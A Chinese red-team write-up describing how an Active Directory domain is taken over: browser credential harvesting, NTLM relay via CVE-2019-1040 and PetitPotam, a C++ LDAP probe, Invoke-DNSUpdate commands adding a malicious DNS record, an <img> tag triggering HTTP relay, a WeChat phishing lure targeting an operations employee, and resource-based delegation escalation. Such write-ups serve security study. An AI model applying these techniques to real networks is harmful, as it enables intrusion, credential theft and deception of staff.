记一次实战红队行动「下」

 

上篇完结后,我们已经控制了几台域内的个人PC,算是进入了域内,此篇文章为「下」篇,描述了如何通过各种域内信息搜集和攻击手法结合钓鱼来相对隐蔽的拿下整个域。

域内信息搜集

​ 现在已经在不触发EDR的前提下,做好了Bypass UAC以及权限维持的工作。并且把当前机器的资料也都下载回来了。那么目前的情况是我们已控机器在域内,意味着我们是至少有一组域凭据的。

​ 可以直接先通过mimikatz等工具抓取本机的密码,但是考虑到各家EDR都对lsass.exe做了重兵把守,没有很大把握不触发告警的话,我们还是别轻易“打草惊蛇”,那么不从lsass.exe入手,从哪拿这组域凭据呢?

​ 我们采取的方法是先使用浏览器凭据导出工具,导出其已经保存的浏览器凭据,从中提取出了某个内网系统的账户密码,而这个内网系统就是采取LDAP认证,那么换句话说,我们不用抓取其本机密码,就拿到了明文域凭据。

​ 这种情况还是非常常见的,这样我们就暂时避免了与EDR硬碰硬。

​ 再或是,可以不使用获取的明文域凭据走代理去连接LDAP,可以直接使用目标的机器执行我们的程序,比如C++中连接LDAP时候,在ldap_bind时,我们可以这样设置,这样就会使用当前用户凭据。

image-20211011210415037

​ 当然,这样需要搜集一些工具,比如DUMP域内DNS工具SharpAdidnsdump就可以实现,或是自己编写需要的功能模块集成到C2更为灵活。

攻击尝试

​ 我们使用这一个域凭据直接连接LDAP,在连接LDAP后为了方便本地分析,我们直接DUMP了LDAP的快照。可是在快照下载一半的时候,发现停止了,再次尝试此域凭据登陆直接提示失效,对应的PC机器也从CS掉线。猜测是流量过大,或是dump数据太多,触发了流量设备或是某种域安全设备。

​ 到现在手上只剩两台PC机器权限,索性就直接连着看吧。

CVE-2019-1040

​ 梳理思路后,首先尝试的就是这个漏洞(当然也没有zerologon),因为配合PrintBug或是PetitPotam可以轻易的触发Net-NTLM请求至中继机器,在启动impacket套件中的ntlmrelayx的时候只需指定--remove-mic,即可绕过NTLM签名,关于NTLM签名我之前也总结过NTLM的基础知识。

​ 另外关于PetitPotam这个是通过MS-EFSRPC协议的EfsRpcOpenFileRaw函数来触发认证,现在也支持了更多的API,这个在一些情况下即使是不提供域内凭据也可以成功触发认证请求的,只需要找到DC即可,在域外寻找DC可以扫描一些常见端口,比如:88、389、636等等,但是如果内网存在Vcenter的话也会开放这些,会影响判断,所以可以进一步通过LDAP匿名绑定查询namingContexts 来确认,c++代码demo如下:

int LdapApi::connect() {

	pLdapConnection = ldap_init((PWSTR)hostname, LDAPPORT);

	returnCode = ldap_set_option(pLdapConnection, LDAP_OPT_PROTOCOL_VERSION, &version);
	returnCode = ldap_set_option(NULL, LDAP_OPT_REFERRALS, LDAP_OPT_ON);

	returnCode = ldap_simple_bind_s(pLdapConnection, NULL, NULL);
	
	const wchar_t* attrs[2];

	attrs[0] = L"namingContexts";

	attrs[1] = NULL;

	const wchar_t* pMyFilter = L"(&(objectClass=*))";

	returnCode = ldap_search_ext_s(pLdapConnection, NULL, LDAP_SCOPE_BASE, (PWSTR)pMyFilter, (PZPWSTR)attrs, 0, NULL, NULL, NULL, -1, &pSearchResult);

	LDAPMessage* pEntry = NULL;
	PWCHAR pAttribute = NULL;
	BerElement* pBer = NULL;

	pEntry = ldap_first_entry(pLdapConnection, pSearchResult);
	pAttribute = ldap_first_attribute(
		pLdapConnection,   // Session handle
		pEntry,            // Current entry
		&pBer);

	berval** attrList;
	attrList = ldap_get_values_len(pLdapConnection, pEntry, pAttribute);

	for (int i = 0; attrList[i]; i++) {

		printf("namingContexts: %s\n", attrList[i]->bv_val);
	}

	return 0;
}

image-20211111123952297

最后攻击尝试后发现并不存在这个漏洞,只能换种方法。

​ 补充:在进行此类relay操作时,务必要保证中继机器与目标机器网络形成一个环(触发请求机器能访问中继机器;中继机器能访问DC),触发请求机器出网的话只需直接relay到公网机器即可,不出网的话还需要找一台出网的linux或是Windows做端口转发,Windows机器还需考虑端口复用的问题,工具有:PortBender、divertTCPconn等。

​ 还要注意一点有些公网VPS的445请求是通不过去的,可以换一个smb端口,最后公网的VPS中继机器走已经建立好的proxychains即可。

HTTP方式触发Net-NTLM

​ 上一种方式不行的话,我们还想用一些相对动静小、灵活性高的攻击方法的话还要在基于资源的约束性委派上做文章。

​ 回想一下基于资源的约束性委,其实就是要更改LDAP中目标对象的msDS-AllowedToActOnBehalfOfOtherIdentity 属性,还有一个利用条件是需要一个机器账户,来申请到目标机器的票据,这个我们不用担心,其实用ntlmrelayx去relay成功的话不指定机器它会自动用这个请求帮我们创建一个新的机器账户。

​ 继续回到msDS-AllowedToActOnBehalfOfOtherIdentity 属性,其实我们进行relay,要的就是被中继机器的修改LDAP中属性的权限,那么究竟是谁修改了这个属性,或者说谁能修改这个属性?

默认计算机通过域用户加入域时,域内会创建一个计算机对象,默认该对象的创建者具有对该对象的WriteProperty权限

机器账户自身对于自身拥有写权限(SYSTEM)

​ 其实还有一些service权限也可以修改自身的LDAP中的属性,我们只需关注第一条,简而言之就是“加域账户”,只要我们控制了对应机器的“加域账户”,那么我们就能控制她拉入域内的所有机器。

​ 对应机器账户中的属性为mS-DS-CreatorSID,标识了这台机器账户的创建者image-20211011211006955

​ 但是在实际中可以发现这个属性很多机器账户不存在(如果是域管理拉入域的话),只有一些开发人员、运维人员拉入域的机器存在此属性

​ 所以,自动化程序实现的思路就是,查询LDAP内机器账户的mS-DS-CreatorSID属性对应的SID和用户账户对应的objectSid值,进行比较即可发现哪些机器是某些用户拉入域内的,我们控制了这个用户即可拿到对应的机器。

​ 经过查询,可以使用任意ldap查询工具,然后发现某用户zhangsan,所属总部运维部,拉入域内不少机器,我们将目光锁定他,那要怎么样获取他账户的权限呢?

​ 还是可以通过relay的方式,之前我们的relay一直都是relay机器账户去修改自己的LDAP属性,现在我们relay用户的NTLM请求,让这个请求去修改对应他有WriteProperty的机器的属性;impacket中的relay都是relay机器账户到LDAP,我们需要relay用户账户的请求,这里用到了rabbtb师傅修改的impacket,他实现了将用户的Net-NTLM请求relay至LDAP并遍历机器账户的mS-DS-CreatorSID属性找此用户的Sid值,并修改msDS-AllowedToActOnBehalfOfOtherIdentity为新加的机器账户的Sid。这样这个机器账户就能访问他了。

攻击准备

Internet选项,安全设置中的默认配置如下:

image-20211012161707194

​ 这代表如果请求的域名在域内DNS中,则会自动使用凭据进行身份认证,而DNS记录只要是认证后的用户都有权限添加,那么我们就可以尝试这种攻击思路,我们已经有了域凭据,只需使用Powermad中的Invoke-DNSUpdate.ps1,即可添加DNS记录,命令如下:

目标机器:

Invoke-DNSUpdate -DNSType A -DNSName evildns -DNSData 10.0.1.1

使用Hash:

Invoke-DNSUpdate -DNSType A -DNSName evildns -DNSData 10.0.1.1 -Username testuser -Realm test.com -Hash xxxxxxxxxxxxx

​ 所以,我们添加了两条记录,一条为welfare.xxx.com,另一条为test.xxx.com

welfare.xxx.com指向外网VPS,test.xxx.com指向中继机器(也就是开启ntlmrelayx的机器)

在外网VPS上启动一个临时WEB服务,并经过一定的伪装,在HTML中插入<img>标签

<img src="http://test.xxx.com/">

这样即可出发HTTP的relay请求,不需要签名。

基于资源的约束委派利用

​ 然后就是实施定向攻击目标运维人员,扩大战果。

诱导人员点击链接

​ 还记得「上」篇,我们在已经丢失权限的个人PC机器搜集到的高价值资料吗?在这里可以派上一定的用场,我们得到了企业的通讯录,当然重点关注的是企业的网络、运维部的人员,发现上面将几台机器拉入域的用户zhangsan就是运维部的人员,那么得到了他的手机号之后,又可以利用社会工程学做很多文章了。

​ 而此次,我们不需目标点击木马,只需他点击我们构建的恶意WEB服务,也就是一条链接,即可拿到这几台机器的权限。

​ 我们不必去寻找一个WEB服务,况且现在也没有已控WEB应用,我们就自己构建临时的WEB服务,现在已经有了内网DNS记录,可以直接添加对应人的微信,伪造一个WEB页面,让他下载一个统计表。

然后把下面的海报转发到朋友圈,营造一种我就是目标公司员工的细节,目标公司的LOGO我用Google代替。

因为我们都知道,添加好友之后,我们做的第一节事情就是查看对方的朋友圈,抓住这个心理,潜移默化的奠定成功的基础。

image-20211111132215736

​ 接着配合福利登记表,让其填写完毕之后发送回来,我们可以预先填进去几个姓名,这些直接从LDAP中的用户组找几个填进去即可。

image-20211111132304617

接着添加其微信发送准备的话术即可。

image-20211111141229708

还是那句话,细节决定钓鱼的成败。

最后成功配置了几台基于资源的约束性委派,但只有一台开机,我们申请票据访问即可。

RottenTomato

​ 接着上线至CS,常规的单机信息搜集,抓取保存的3389记录密码登陆后,解开这台服务器WEB应用对应的数据库连接后,对应SPN发现其是域内唯一MSSQL服务,连接后为Service权限。

​ 利用域内DC为2012以上的万能提权方法,烂番茄即可提权至SYSTEM,我们只需利用CLR执行我们的.NET程序即可。

​ RottenTomato也是利用基于资源的约束委派来提权的,Service用户做请求也是使用机器账户,机器账户自己又修改自己属性的权限,当然可以修改之前我们申请的机器账户来访问我自己,这里就不做过多描述。

EXP参考:https://github.com/pkb1s/SharpAllowedToAct

发现此机器存在域管理进程,至此,控制了包含数个全国分支机构的主域,完成此次红队行动。

总结

​ 基于资源的约束委派在DC为2012版本后,攻击利用非常灵活,但是要考虑的因素太多,结合钓鱼是一个不错的选择;以及委派攻击落地成本问题,网络情况限制需考虑端口转发等等。